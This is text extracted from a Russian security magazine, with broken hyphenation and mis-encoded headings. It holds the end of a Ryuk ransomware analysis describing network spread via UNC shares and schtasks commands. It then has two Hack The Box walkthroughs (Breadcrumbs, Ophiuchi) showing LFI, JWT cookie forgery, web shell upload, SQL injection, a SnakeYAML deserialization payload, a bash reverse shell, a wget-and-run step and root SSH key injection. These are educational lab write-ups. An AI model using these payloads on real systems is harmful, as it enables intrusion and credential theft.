рамма-вымога тель начина ет рас сылку пакетов, исполь зуя API  из биб- 
лиоте ки Winsock.

8 LAN

GetIpNetTable iphlpapi.dll
sendto

От прав ка пакета Wake on Lan

Magic-пакеты Wake on Lan вклю чают 6 байт со зна чени ем 255 (шес тнад- 
цатерич ное зна чение — ), за которы ми сле дует MAC-адрес целево го
компь юте ра, про писан ный 16 раз. Общий раз мер пакета —102 бай та.

0xFF

Па кет Wake on Lan

ÏÎÑËÅÄÎÂÀÒÅËÜÍÛÉ ÏÅÐÅÁÎÐ ÎÁÙÈÕ ÑÅÒÅÂÛÕ ÏÀÏÎÊ

Ryuk так же пыта ется горизон таль но переме щать ся на дру гие хос ты в сети.
Для это го прог рамма получа ет все IP-адре са, прис воен ные сис теме, и про- 
веря ет их при над лежность диапа зону час тных адре сов IPv4 (10.x.x.x, 172.16.x.x
и 192.168.x.x). Пос коль ку такая про вер ка про водит ся с помощью фун кции

, могут выяв лять ся сов падения с дру гими пуб личны ми под сетями, нап- 
ример 151.192.172.1.
strstr

Про вер ка оши бок час тных IP-сетей

При обна руже нии одной из ука зан ных выше под сетей прог рамма-вымога тель
нач нет отправ лять эхо-зап росы ICMP Echo с помощью API для обна руже ния
новых машин в этой под сети. Если машина отве тит на зап рос, она будет счи- 
тать ся потен циаль ной жер твой и Ryuk попыта ется зашиф ровать фай лы
на ней.

Эхо-зап рос ICMP

Ryuk попыта ется зашиф ровать фай лы на каж дом обна ружен ном хос те спо- 
собом, похожим на тот, который при меня ет для локаль ных дис ков. Вымога- 
тель генери рует путь UNC для всех бук венных обоз начений дис ков (от A до Z)
в фор мате . Затем тро ян попыта ется получить дос- 
туп и выпол нить шиф рование по пути . Такая попыт ка показа на
на рисун ке ниже.

\\<IP>\<drive letter>$
\\<IP>

Шиф рование фай лов по UNC

ÐÅÏËÈÊÀÖÈß ÁËÎÊÀ ÑÅÐÂÅÐÍÛÕ ÑÎÎÁÙÅÍÈÉ (SMB)

Про цесс Ryuk с коман дной стро кой  отве чает за реп ликацию вре доно са
на новые компь юте ры, при этом он про веря ет, не выпол няет ся ли этот про- 
цесс дваж ды. Для это го соз дает ся мьютекс-объ ект, имя которо го соот ветс- 
тву ет име ни поль зовате ля машины. Если мьютекс уже сущес тву ет, про цесс
будет завер шен.

9 REP

Соз дание мьютек са

На сле дующем эта пе Ryuk про веря ет наличие сво их фай лов на уда лен ном
компь юте ре с помощью API . Парал лель но соз дает ся
фай ловый путь UNC; пос ле это го прог рамма попыта ется получить дос туп
к пап ке  на уда лен ном компь юте ре. Соз дает ся файл с име- 
нем, которое пред став ляет собой кон троль ную сум му текуще го име ни поль- 
зовате ля с добав лени ем суф фикса .

GetFileAttributesW

C:\Users\Public

r.exe

Ко пиро вание фай ла Ryuk

За тем вымога тель исполь зует API  для копиро вания фай ла на уда- 
лен ный компь ютер. Что бы обес печить уда лен ное исполне ние этой копии,
вре донос соз даст зап ланиро ван ную задачу со слу чай ным име нем с помощью
инс тру мен та .

CopyFileW

schtasks.exe

Соз дание уда лен ной служ бы

Та ким обра зом, для каж дой ском про мети рован ной уда лен ной машины
выпол няют ся две коман ды:

schtasks.exe /Create /S 192.168.56.2 /TN qdpRGwh /TR "C:\\Users\\
Pub- lic\\622r.exe" /sc once /st 00:00 /RL HIGHEST 
schtasks.exe /S 192.168.56.2 /Run /TN qdpRGwh 

ÇÀÊËÞ×ÅÍÈÅ

В этом корот ком отче те пред став лено тех ничес кое опи сание прог- 
раммы-вымога теля Ryuk и новых фун кций, которые были вклю чены в ее код
для уве личе ния ущер ба, наноси мого орга низа циям-жер твам.

Ин терес но отме тить, что вни мание раз работ чиков Ryuk смес тилось в сто- 
рону веб-сер веров, пос коль ку вмес то того, что бы шиф ровать индек сные
фай лы в пап ках веб-сер вера, ПО заменя ет их сооб щени ем о выкупе. Кро ме
того, раз работ чики Ryuk добави ли во вре донос ную прог рамму воз можность
рас печатать сооб щение о выкупе на уста нов ленном по умол чанию прин тере.

В пер вом полуго дии нес коль ко хакер ских групп, которые исполь зуют Ryuk,
активно про води ли кам пании и ата кова ли орга низа ции по все му миру. Имен- 
но поэто му кибер прес тупни ки, которые исполь зуют Ryuk, про дол жат соз- 
давать новые фун кции и методы работы для мак сималь ного уве личе ния при- 
были.
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ВЗЛОМ

Се год ня я для тебя раз беру слож ную
машину Breadcrumbs пло щад ки 

. На ее при мере мы про экс плу ати- 
руем LFI, что бы про честь исходни ки сай та,
затем под берем JWT для авто риза ции
в качес тве адми на. Пос ле про ник новения
на сер вер поревер сим самопис ный менед- 
жер паролей и про ведем в нем SQL-инъ- 
екцию для получе ния рута. В общем, ску- 
чать не при дет ся!

Hack
The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ. ÑÊÀÍÈÐÎÂÀÍÈÅ ÏÎÐÒÎÂ

Ма шина име ет IP-адрес 10.10.10.228, который я добав ляю в ,
что бы мож но было обра щать ся к дан ному хос ту по име ни.

/etc/hosts

10.10.10.228    breadcrumbs.htb 

Лю бая ата ка начина ется со ска ниро вания откры тых на хос те пор тов. Дела ем
это при помощи скрип та, где через Nmap про изво дит ся обыч ное быс трое
ска ниро вание пор тов, а затем из вывода берут ся все пор ты и пов торя ется
ска ниро вание толь ко обна ружен ных пор тов со скрип тами (опция -A).

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Ре зуль тат работы скрип та

Как это обыч но быва ет на машинах с Windows, по резуль татам ска ниро вания
име ем мно го откры тых пор тов:

порт 22 — служ ба SSH;•
порт 80 — веб-сер вер Apache 2.4.46;•
порт 135 — служ ба MS RPC;•
порт 139 — служ ба имен NetBIOS;•
порт 443 — веб-сер вер Apache 2.4.46;•
порт 445 — служ ба SMB;•
порт 3306 — служ ба MySQL.•

Ос таль ное не пред став ляет для нас инте реса.
На SSH нам сей час ловить нечего, пос коль ку уче ток у нас нет, да и SMB

для ано нима инте реса не пред став ляет. Раз есть веб-сайт, начинать луч ше
все го с него.

Сайт поз воля ет искать кни ги по биб лиоте ке.

Тес товый поиск

До пол нитель ная информа ция по выб ранной кни ге

Ана лизи ровать стра ницы луч ше все го через Burp Suite, который сох ранит
и наг лядно отоб разит все зап росы и отве ты.

Прос матри вая стра ницы, обра тим вни мание на спо соб зап роса кни ги:
наз вание HTML-фай ла с кни гой переда ется исполня емо му фай лу, который
затем вклю чит этот файл в ответ.

Зап рос кни ги, пред став ленный Burp

ÒÎ×ÊÀ ÂÕÎÄÀ. ÝÊÑÏËÓÀÒÀÖÈß LFI

Это потен циаль ная уяз вимость LFI, которую сто ит про верить. Есть хорошее
средс тво для тес тов LFI — . Но так как оно работа ет мед ленно, то
возь мем из него толь ко  и выпол ним тест с помощью Burp Intruder (в
вер сии Pro ста вим 120 потоков).

LFI Suite
сло варь

Burp Intruder, вклад ка Position

Burp Intruder, вклад ка Payload

Burp Intruder, вклад ка Options

Ре зуль тат ата ки

Филь тру ем по раз меру отве та и видим, что уда лось про читать файл 
. А чуть ниже в тек сте ошиб ки отме чаем для себя пол ный путь к веб-при- 

ложе нию.

access.
log

Ошиб ка чте ния фай ла environ

Да вай взгля нем, что инте рес ного может дать код в фай ле 
. Для это го переда дим сле дующее зна чение парамет ра:

bookController.
php

book=../includes/bookController.php&method=1

Часть исходно го кода bookController.php

Так, в фай ле про исхо дит вклю чение фай ла , в котором обыч но под клю- 
чает ся база дан ных, и при этом, ско рее все го, исполь зуют ся учет ные дан ные,
хра нящи еся в откры том виде. Про веря ем, зап росив 

.

db.php

book=../db/db.
php&method=1

Часть исходно го кода db.php

Так мы находим учет ку от базы дан ных. Но что с ней теперь делать, если
к дос тупным нам сер висам она не под ходит? Поищем, нет ли
еще чего-нибудь на сай те.

Для перебо ра путей с целью поис ка скры тых стра ниц (тех, на которые сна- 
ружи нет ссы лок) обыч но исполь зуют прог раммы вро де , 
или более быс трый . Но я пос леднее вре мя исполь зую встро енные
средс тва Burp Suite. Перех ватыва ем зап рос в Burp Proxy и отправ ляем в Burp
Intruder. Затем отме чаем позицию для перебо ра, выс тавля ем сло варь
и количес тво потоков, пос ле чего выпол няем ата ку.

dirsearch dirb
gobuster

Burp Intruder, вклад ка Positions

Burp Intruder, вклад ка Payloads

Burp Intruder, вклад ка Options

Ре зуль тат ата ки

Так мы находим нес коль ко дирек торий, часть из которых нам уже извес тна.
Но мы еще не были в катало ге , а пос ле перехо да нас редирек тит
на .

portal
http://breadcrumbs.htb/portal/login.php

Фор ма авто риза ции

Удоб но, что мы можем пос мотреть исходник это го фай ла, сде лав зап рос
.book=../portal/login.php&method=1

Ис ходный код login.php

В исходном коде видим под клю чение еще одно го нового для нас фай ла —
. Тем же спо собом гля нем и его.authController.php

Ис ходный код authController.php

А вот уже здесь находим пря мую ссыл ку на , перей дя по которой
най дем очень мно го поль зовате лей. У нас есть пароль для под клю чения
к базе дан ных, одна ко это нам никак не помога ет, и мы вынуж дены идти даль- 
ше.

admins.php

Спи сок поль зовате лей сай та

В исходном коде находим уже боль ше инте рес ной информа ции.

Ис ходный код admins.php

В коде мы видим исполь зование JWT, сек ретный ключ и вызов фун кции
. Ее код находим в под клю чаемом фай ле .makesession cookie.php

Ис ходный код cookie.php

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/D35m0nd142/LFISuite
https://raw.githubusercontent.com/D35m0nd142/LFISuite/master/pathtotest.txt
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/OJ/gobuster
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ

JSON Web Token

JSON Web Token (JWT) сос тоит из трех час тей: заголов ка (header), полез ной
наг рузки (payload) и под писи. Заголо вок и полез ная наг рузка пред став ляют
собой объ екты JSON, при этом наг рузка может быть любой — это имен но те
кри тичес кие дан ные, которые переда ются при ложе нию. А вот заголо вок
содер жит опре делен ные поля: алго ритм и тип токена. Тре тий эле мент вычис- 
ляет ся на осно вании пер вых и зависит от выб ранно го алго рит ма. Токены
могут быть переко диро ваны в ком пак тное пред став ление: к заголов ку
и полез ной наг рузке при меня ется алго ритм кодиро вания Base64-URL, пос ле
чего добав ляет ся под пись и все три эле мен та раз деля ются точ ками.

Что бы авто ризо вать ся от име ни какого-либо поль зовате ля, недос таточ но
прос то украсть куки или под делать токен. Дол жны сов падать и cookie, и JWT.
Но у нас есть алго ритм, по которо му они генери руют ся, и все сос тавля ющие
для соз дания иден тифика торов сес сии. Спи сок имен поль зовате лей у нас
тоже есть.

Ос талось ска чать биб лиоте ку для кодиро вания токенов — .php-jwt

sudo apt istall composer 
composer require firebase/php-jwt 

Те перь раз берем ся с парамет ром . Для его соз дания исполь зует- 
ся генера тор псев дослу чай ных чисел, который будет выдавать чис ло в пре- 
делах от 0 до дли ны име ни поль зовате ля. Таким обра зом, у нас для каж дого
име ни поль зовате ля будет нес коль ко вари антов куки. Часть кода для генера- 
ции  мож но взять пря мо из фай ла . Ниже при водит ся
код, генери рующий все воз можные вари анты иден тифика торов сес сии
для всех най ден ных поль зовате лей.

PHPSESSID

PHPSESSID cookie.php

<?php

 use Firebase\JWT\JWT;
require_once('vendor/autoload.php');

  $secret_key =
'6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';

  $names = ['alex','emma','jack','john','lucas','olivia','paul',
'william'];

   for( $user_num=0; $user_num<8; $user_num+=1){
     $username = $names[$user_num];
     $max = strlen($username);
     for($i=0; $i<$max; $i+=1){

        $key = "s4lTy_stR1nG_".$username[$i]."(!528./9890";
        $session_cookie = $username.md5($key);

            $payload = array("data" => array("username" => $username));
          $jwt = JWT::encode($payload, $secret_key, 'HS256');
               echo "PHPSESSID=" . $session_cookie . "; token=" . $jwt . "\n"

;
   }
}
?>

Ре зуль тат работы скрип та

Те перь исполь зуем Burp Intruder, что бы про верить все вари анты и най ти
рабочий. Ука зыва ем мес то наг рузки в заголов ке куки, сло варь, сос тоящий
из вари антов иден тифика торов, количес тво потоков. Ког да все готово,
выпол няем ата ку.

Burp Intruder, вклад ка Position

Ре зуль тат выпол нения ата ки

Филь тру ем резуль таты по коду отве та и видим три вер ных вари анта. Наш
выбор — это поль зователь , у которо го есть рас ширен ные пра ва,
а имен но воз можность заг ружать фай лы.

John

Фун кции, дос тупные поль зовате лю John

Ро ли поль зовате лей ресур са

Бу дем пытать ся заг рузить PHP-шелл, а имен но кру той и удоб ный .
Вот толь ко при заг рузке это го фай ла нам говорят, что мож но заг рузить лишь
архи вы ZIP.

p0wny-shell

Со обще ние о заг рузке толь ко ZIP-фай лов

Ýêñïëóàòàöèÿ óÿçâèìîé çàãðóçêè ôàéëîâ

При тес тирова нии форм заг рузки фай ла пер вым делом сто ит опре делять, где
про исхо дит филь тра ция — на кли ент ской или сер верной час ти. Откры ваем
Burp Proxy и про пус каем зап рос через него.

Заг рузка PHP-скрип та

Заг рузки фай ла. Burp Proxy

Как мож но уви деть в откры том прок си, файл заг ружа ется с рас ширени ем .zip,
что и при водит к ошиб ке. Давай изме ним рас ширение на .php — 

.
r8shell.

php

Из менен ный зап рос в Burp Proxy

Файл успешно заг ружен по адре су 
. Так мы получи ли кра сивую и удоб ную обо лоч ку.

http://breadcrumbs.htb/portal/
uploads/r8shell.php

ÏÐÎÄÂÈÆÅÍÈÅ

Ïîëó÷åíèå ó÷åòíûõ äàííûõ

Так как на хос те раз вернут веб-сер вер, пер вое наше дей ствие — поп- 
робовать вытащить из него учет ные дан ные поль зовате лей сай та. Велика
веро ятность, что они подой дут и к каким-нибудь учет кам в сис теме тоже.

В кор невой дирек тории сай та находим дирек торию
. В ней мно го фай лов, свой для каж дого поль зовате- 

ля, с рас ширени ями  и .
pizzaDeliveryUserData

json disabled

Со дер жимое дирек тории portal

Со дер жимое дирек тории pizzaDeliveryUserData

Фай лы с рас ширени ем  смыс ла прос матри вать нет, так как они
не содер жат никаких дан ных. Зато, нап ример, в фай ле  име- 
ются учет ные дан ные.

disabled
juliette.json

Со дер жимое фай лов alex.disabled и juliette.json

С най ден ными получен ными дан ными под клю чаем ся по SSH и забира ем пер- 
вый флаг.

Флаг поль зовате ля

Ïîëó÷åíèå äàííûõ èç Sticky Notes

Ря дом с фла гом поль зовате ля на рабочем сто ле находим файл .
В спис ке — три задачи:

todo.html

нас тро ить фай рвол для пор тов 22 и 445 (не начата);•
пе ренес ти пароли из Microsoft Store Sticky Notes в дру гой менед жер
паролей (выпол няет ся в дан ный момент);

•

до бавить новые фун кции в менед жер паролей (не начата).•

Со дер жимое фай ла todo.html

Sticky Notes — это при ложе ние для заметок на рабочем сто ле, которое вхо дит
в сос тав пос ледних вер сий Windows. Судя по спис ку задач, можем пред- 
положить, что поль зователь хра нит в замет ках свои учет ные дан ные. Получить
базу Sticky Notes мож но в дирек тории 

.
C:\Users\juliette\AppData\Local\

Packages\

По иск базы Sticky Notes

Мы находим соот ветс тву ющую дирек торию, оста ется ска чать все ее содер- 
жимое на локаль ную машину для пос леду юще го ана лиза. Сде лать это мож но
стан дар тны ми средс тва ми SSH.

scp juliette@10.10.10.228:C:/Users/juliette/AppData/Local/Packages/
Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe/LocalState/* ./Sticky/ 

Этот файл пред став ляет собой базу дан ных SQL, поэто му для его прос мотра
очень удоб но исполь зовать , который по умол чанию
встро ен в Kali Linux. Откры ваем получен ную базу, перехо дим на вклад ку «Дан- 
ные» и в таб лице Note обна ружи ваем одну запись.

SQL Database Browser

Со дер жимое таб лицы Note

Выб рав режим редак тирова ния, получим три пары учет ных дан ных.

По лучен ные дан ные из базы Sticky Notes

С учет кой поль зовате ля  мы можем под клю чить ся по SSH
и таким обра зом получа ем новую область для иссле дова ния.

development

Име ющиеся в сис теме поль зовате ли

Ав ториза ция от име ни поль зовате ля development

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

В кор не дис ка C есть дирек тория , а в ней — исполня емый файл
.

Development
Krypter_Linux

Со дер жимое катало га C:\Development

Ска чива ем с помощью SSH и этот файл для даль нейше го ана лиза.

scp development@10.10.10.228:C:/Development/Krypter_Linux ./ 

От кры ваем ска чан ный бинар ный файл в любом удоб ном дизас сем бле ре
с воз можностью деком пиляции. На этот раз я исполь зовал . Пос ле заг- 
рузки фай ла в окне дизас сем бле ра нам покажут фун кцию . Прос то
перей дем в окно деком пиляции и сра зу получим уже понят ный код от деком- 
пилято ра Ghidra (да, Cutter юза ет Ghidra).

Cutter
main

Де ком пилиро ван ный код прог раммы

В коде видим сооб щение, которое выводит ся в кон соль: «Request decryption
key from cloud... Account: Administrator». Далее про исхо дит зап рос на адрес
http://127.0.0.1:1234/index.php и переда ются сле дующие парамет ры:

method=select&username=administrator&table=passwords

Вспо мина ем замет ку из todo о перено се дан ных в новый менед жер паролей
и помет ку в базе, что пароль адми на уже перене сен. Из это го мож но сде лать
вывод, что в дан ный момент мы и работа ем с новым менед жером паролей.
Этот менед жер име ет кли ент-сер верную архи тек туру. По передан ным
парамет рам  и  пред полага ем, что на сер- 
вере работа ет какая-то база дан ных.

method=select table=passwords

Про верим, открыт ли порт 1234, куда выпол няет ся зап рос. Для это го
исполь зуем стан дар тный .netstat

От кры тые TCP-пор ты

Мы находим целевой порт, у нас есть при мер зап роса, мож но его выпол нить!
Одна ко сна чала нам нуж но тун нелиро вать тра фик с локаль ного пор- 
та 1234 на уда лен ный порт 1234 с помощью SSH, пос коль ку дос тупен он толь- 
ко с локаль ного хос та, то есть изнутри вир туал ки.

ssh  -N -L 1234:127.0.0.1:1234 development@10.10.10.228 

Те перь выпол няем зап рос.

curl 'http://127.0.0.1:1234/index.php?method=select&
username=administrator&table=passwords'

Ре зуль тат выпол нения зап роса

В отве те нам вер нули ключ для алго рит ма шиф рования AES. Мы пред полага- 
ли, что исполь зует ся база дан ных, поэто му сто ит про верить, нет ли бре ши
в обра бот ке вве ден ных дан ных. Впол не может быть шанс про вес ти SQL-инъ- 
екцию. Прос то отпра вив в парамет ре table кавыч ку и зна ки ком мента рия,
получа ем ошиб ку при обра бот ке зап роса.

curl "http://127.0.0.1:1234/index.php?method=select&
username=administrator&table=passwords'+--+-"

Ре зуль тат выпол нения зап роса

Уяз вимость есть, поэто му нат равим на сер вис ути литу sqlmap, которая
поможет ее рас кру тить.

 sqlmap -u 'http://127.0.0.1:1234/index.php?method=select&
username=administrator&table=passwords'

От чет sqlmap

Ути лита под твержда ет наличие уяз вимос ти и показы вает зап рос для ее экс- 
плу ата ции. Так же sqlmap сох раня ет кон фиги и будет исполь зовать этот зап- 
рос при гря дущей экс плу ата ции. Давай сдам пим (параметр ) содер- 
жимое таб лицы  (параметр ):

--dump
passwords -T

 
 

sqlmap -u 'http://127.0.0.1:1234/index.php?method=select&
username=administrator&table=passwords' -T passwords --dump

Со дер жимое таб лицы passwords

И теперь у нас, помимо клю ча шиф рования, есть еще и зашиф рован ный
пароль. Хотя режим шиф рования неиз вестен, его мож но лег ко подоб рать.
Для рас шифров ки пароля мож но исполь зовать удоб ный сайт  (под- 
робнее о нем читай в ). Уста новим кон вей ер From Base64 →
AES Decrypt. Зада ем ключ и век тор ини циали зации (запол няем нулями),
а режим (Mode) — переби раем.

CyberChef
на шей замет ке

Ре зуль тат работы скрип та

В режиме CBC мы получа ем внят ный пароль, с помощью которо го под клю- 
чаем ся по SSH и забира ем флаг адми нис тра тора.

Флаг рута

Ма шина прой дена!

https://github.com/firebase/php-jwt
https://github.com/backdoorhub/shell-backdoor-list/tree/master/shell/php/p0wny-shell.php
https://sqlitebrowser.org/
https://github.com/rizinorg/cutter
https://gchq.github.io/CyberChef/
https://xakep.ru/2017/03/10/www-cyberchef/
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ВЗЛОМ

В этой статье я покажу про хож дение
машины Ophiuchi с пло щад ки .
На ее при мере мы сна чала попен тестим
SnakeYAML, а затем будем модифи циро- 
вать при ложе ние на Go, которое ком- 
пилиру ется в WebAssembly.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем адрес машины в файл , что бы обра щать ся к ней по име ни.hosts

10.10.10.227    ophiuchi.htb 

И начина ем тра дици онно со ска ниро вания пор тов. В этот раз я буду исполь- 
зовать быс трый ска нер . Сна чала он най дет все откры тые пор ты,
а потом передаст зна мени тому Nmap для ска ниро вания со скрип тами (прос- 
то ука жем опцию -A).

RustScan

 rustscan 10.10.10.227 -- -A

Об наружен ные с помощью RustScan откры тые пор ты

Ска ниро вание Nmap

Мы наш ли две служ бы: SSH (порт 22) и веб-сер вер Apache Tomcat
(порт 8080). На SSH сей час мож но толь ко брут форсить учет ные дан ные,
но это не комиль фо, тем более при про хож дении лабора тор ных машин.
Поэто му нам оста ется искать точ ку вхо да на сай те.

ÒÎ×ÊÀ ÂÕÎÄÀ

При перехо де на сайт нас встре тила фор ма пар сера раз метки YAML.

Фор ма Online YAML Parser

Ти пич ная проб лема любых пар серов — неп равиль ная обра бот ка слу жеб ных
сим волов, которая может при вес ти к уяз вимос тям. Что бы про верить, нет ли
здесь чего-то подоб ного, отпра вим в фор му вво да все печата емые сим волы
по оче реди. Я буду делать это через Burp. Пер вым делом перех ватим зап рос
в Burp и отпра вим его в Intruder. На вклад ке Payload Position ука жем тип ата ки
Sniper, изме ним зна чение парамет ра , при менив пус тую наг рузку.data

Вклад ка Payload Position

Да лее на вклад ке Payload Options заг рузим спи сок печата емых сим волов,
к при меру , из набора сло варей . И выпол ним перебор, нажав
кноп ку Start Attack. Пос ле завер шения ата ки сор тиру ем резуль таты по стол- 
бцу Length так, что бы сна чала шли самые боль шие отве ты.

этот SecLists

Вклад ка Payload Options

Ре зуль тат перебо ра сим вола

Ес ли отправ лять обыч ные сим волы, то ответ всег да будет оди нако вый.

Due to security reason this feature has been temporarily on hold. We will

soon fix the issue!

Но в ответ на некото рые зап росы мы получа ем ошиб ки. Для нас это хорошо,
так как сооб щения могут рас кры вать допол нитель ную информа цию
о целевом при ложе нии, к при меру исполь зуемые тех нологии. И дей стви тель- 
но: в тек сте ошиб ки видим упо мина ние SnakeYAML, и, что более инте рес но,
ошиб ка про исхо дит в методе .load

INFO

SnakeYAML — про цес сор раз метки YAML
для прог рамм на Java.

Текст ошиб ки, получа емой при отправ ке сим вола про цен та

То есть в дан ном слу чае поль зователь ский ввод переда ется в метод 
, который кон верти рует документ YAML в объ ект Java, что потен циаль- 

но может при вес ти к уяз вимос ти десери али зации, а это, в свою оче редь,
откры вает путь к уда лен ному выпол нению кода (RCE).

Yaml.
load()

Даль ше я без тру да нашел готовую наг рузку, которая экс плу ати рует уяз- 
вимость в десери али зации SnakeYAML ( ). Смысл уяз вимос ти в том, что мы
можем спро воци ровать заг рузку клас са со сво его хос та.

PDF

Да вай отпра вим тес товую наг рузку и пос мотрим на резуль тат. Что бы пой- 
мать отклик, запус тим прос той локаль ный веб-сер вер Python 3.

python3 -m http.server 8000 

А теперь отправ ляем сле дующую наг рузку. Пос ле отправ ки в логах веб-сер- 
вера уви дим попыт ку заг рузить фай лы.

 !!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.88:8000/"]
 ]]
]

По иск опи сан ных уяз вимос тей в Online YAML Parser

В окне бра узе ра наб люда ем уже зна комое нам сооб щение, а вот в логах
веб-сер вера видим две записи, одна из которых — зап рос . То есть
наше пред положе ние ока залось вер ным, мы можем добить ся заг рузки кода
с нашего сер вера.

HEAD

Ло ги локаль ного веб-сер вера Python

ÒÎ×ÊÀ ÎÏÎÐÛ

Уяз вимость под твер дили, давай ее экс плу ати ровать. В нашем слу чае
SnakeYAML пытал ся выз вать конс трук тор , но до это го
пыта ется получить дос туп к конеч ной точ ке 

 (что отра жено в логах веб-сер вера), и, пос- 
коль ку она недос тупна, наш сер вер отве чает ошиб кой 404. На GitHub уже есть

 для такого слу чая. Давай заг рузим репози торий и вне сем
изме нения в основной код.

ScriptEngineManager
/META-INF/services/javax.

script.ScriptEngineFactory

го товая наг рузка

git clone https://github.com/artsploit/yaml-payload.git 

Ис ходный код клас са AwesomeScriptEngineFactory

Нас боль ше все го инте ресу ет фун кция ,
параметр которой сле дует изме нить. Пос тупим сле дующим обра зом: в пер- 
вой фун кции будем заг ружать с локаль ной машины скрипт на bash
с реверс-шел лом, а во вто рой — наз начать пра ва и выпол нять. Исполь зуем
сле дующий бэк шелл:

Runtime.getRuntime().exec()

bash  -i >& /dev/tcp/10.10.14.88/4321 0>&1 

Тог да стро ки 12 и 13 будут такими:

Runtime.getRuntime().exec("wget http://[ip]:8000/rs.sh -O /tmp/rs.sh"
);
Runtime.getRuntime().exec("chmod +x /tmp/rs.sh ; /tmp/rs.sh");

Файл с шел лом рас положим в дирек тории уже запущен ного веб-сер вера.
Ос талось перей ти в дирек торию репози тория, что бы текущий путь соот- 

ветс тво вал тому, что мы видим в зап росе, а затем пре обра зовать файл Java
в байт-код и сно ва запус тить веб-сер вер.

cd yaml-payload/src 
javac artsploit/AwesomeScriptEngineFactory.java 
sudo python3 -m http.server 80 

Те перь отпра вим пар серу уже зна комую нам наг рузку, толь ко изме ним порт
с 8000 на 80. В логах веб-сер вера в катало ге с прог раммой наб люда ем
успешную заг рузку фай лов, в логах «ста рого» веб-сер вера уви дим заг рузку
шел ла, а в лис тенере — бэк коннект.

Ло ги веб-сер вера Python (порт 80)

Ло ги веб-сер вера Python (порт 8000)

Бэк коннект

ÏÐÎÄÂÈÆÅÍÈÅ

Мы работа ем в кон тек сте учет ной записи служ бы веб-сер вера Tomcat.
В таких слу чаях всег да сле дует искать учет ные дан ные, которые могут подой- 
ти к поль зователь ским учет кам как на сер вере, так и на сай те или даже
при пря мом кон некте к базе дан ных. В слу чае с Apache Tomcat учет ки хра нят- 
ся в фай ле . Для поис ка кри тичес ких
дан ных дос таточ но искать стро ки по клю чевым сло вам , , 
и подоб ным. Так и уда ется най ти пароль.

/opt/tomcat/conf/tomcat-users.xml
pass secret token

Спи сок фай лов в катало ге /opt/tomcat/conf/

Па роли из фай ла tomcat-users.xml

С най ден ными учет ными дан ными успешно под клю чаем ся по SSH и забира ем
пер вый флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Из все го, что сто ит ана лизи ровать для нахож дения век тора к повыше нию при- 
виле гий, мож но сра зу про верять нас трой ки судо ера и при ложе ния с выс- 
тавлен ным битом SUID. И при про вер ке судо ера находим зацеп ку.

 sudo -l

Нас трой ки sudoers

Все поль зовате ли могут без вво да пароля выпол нить сле дующую коман ду
в при виле гиро ван ном кон тек сте.

/usr/bin/go run /opt/wasm-functions/index.go 

Здесь прос то выпол няет ся файл . Давай
взгля нем на него.

/opt/wasm-functions/index.go

Со дер жимое фай ла /opt/wasm-functions/index.go

В самом начале фай ла бро сает ся в гла за под клю чение , далее
про исхо дит чте ние фай ла , пос ле чего экспор тиру ется зна чение

. Если резуль тат не равен еди нице, то мы прос то получа ем сооб щение
Not ready to deploy, ина че выпол нится bash-скрипт  (еще и в при- 
виле гиро ван ном кон тек сте). Ошиб ка зак люча ется в ука зании неяв ных путей
к фай лам, что поз воля ет нам раз местить такие же фай лы в текущей дирек- 
тории и опе риро вать имен но ими. Заг рузим на локаль ный хост файл 

.

wasmer-go
main.wasm

info
deploy.sh

main.
wasm

scp admin@ophiuchi.htb:/opt/wasm-functions/main.wasm ./ 

Ска чива ние фай ла с сер вера при помощи scp

WebAssembly — язык прог рамми рова ния низ кого уров ня для сте ковой вир- 
туаль ной машины, в который ком пилиру ются прог раммы на высоко уров невых
язы ках, в том чис ле и Go. Для ана лиза фай ла будем исполь зовать

.webassembly.github.io
Спер ва пос мотрим на , для это го нам нуж но пре обра зовать файл

.wasm в тек сто вый вид. На сай те по ссыл ке выше перехо дим к сер вису
 и заг ружа ем наш файл.

info

wasm2wat

Сер вис wasm2wat

В треть ей стро ке находим экспорт  и воз вра щаемое зна чение  (стро- 
ка 4). Копиру ем весь пред став ленный код и встав ляем уже в сер висе

, меня ем воз вра щаемое зна чение с нуля на еди ницу. Пос ле чего
ска чива ем соб ранный файл.

info 0

wat2wasm

Сер вис wat2wasm

Соб ранный файл заг рузим в дирек торию  уда лен ного хос та./tmp

scp ./test.wasm admin@ophiuchi.htb:/tmp/main.wasm 

Ос талось соз дать файл . В нем я записы ваю руту свой ключ SSH.
Спер ва генери руем пару клю чей с помощью .

deploy.sh
ssh-keygen

Ге нери рова ние пары клю чей

А затем ука жем ключ в deploy.sh, дадим пра во на исполне ние и выпол ним
целевое при ложе ние через .sudo

cd /tmp 
 

 
echo 'echo ssh-rsa AAAAB3NzaC1y......p0iM9xKc= ralf@ralf-PC >> /
root/.ssh/authorized_keys ; echo OK' > deploy.sh 
chmod +x deploy.sh 
sudo /usr/bin/go run /opt/wasm-functions/index.go 

Вы пол нение целево го при ложе ния

Ви дим, что ключ успешно записал ся, оста лось под клю чить ся с при ват ным
клю чом и заб рать рут.

ssh -i id_rsa root@ophiuchi.htb 

Флаг рута

Та ким путем мы зах ватыва ем дан ную машину и получа ем над ней пол ный кон- 
троль.

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
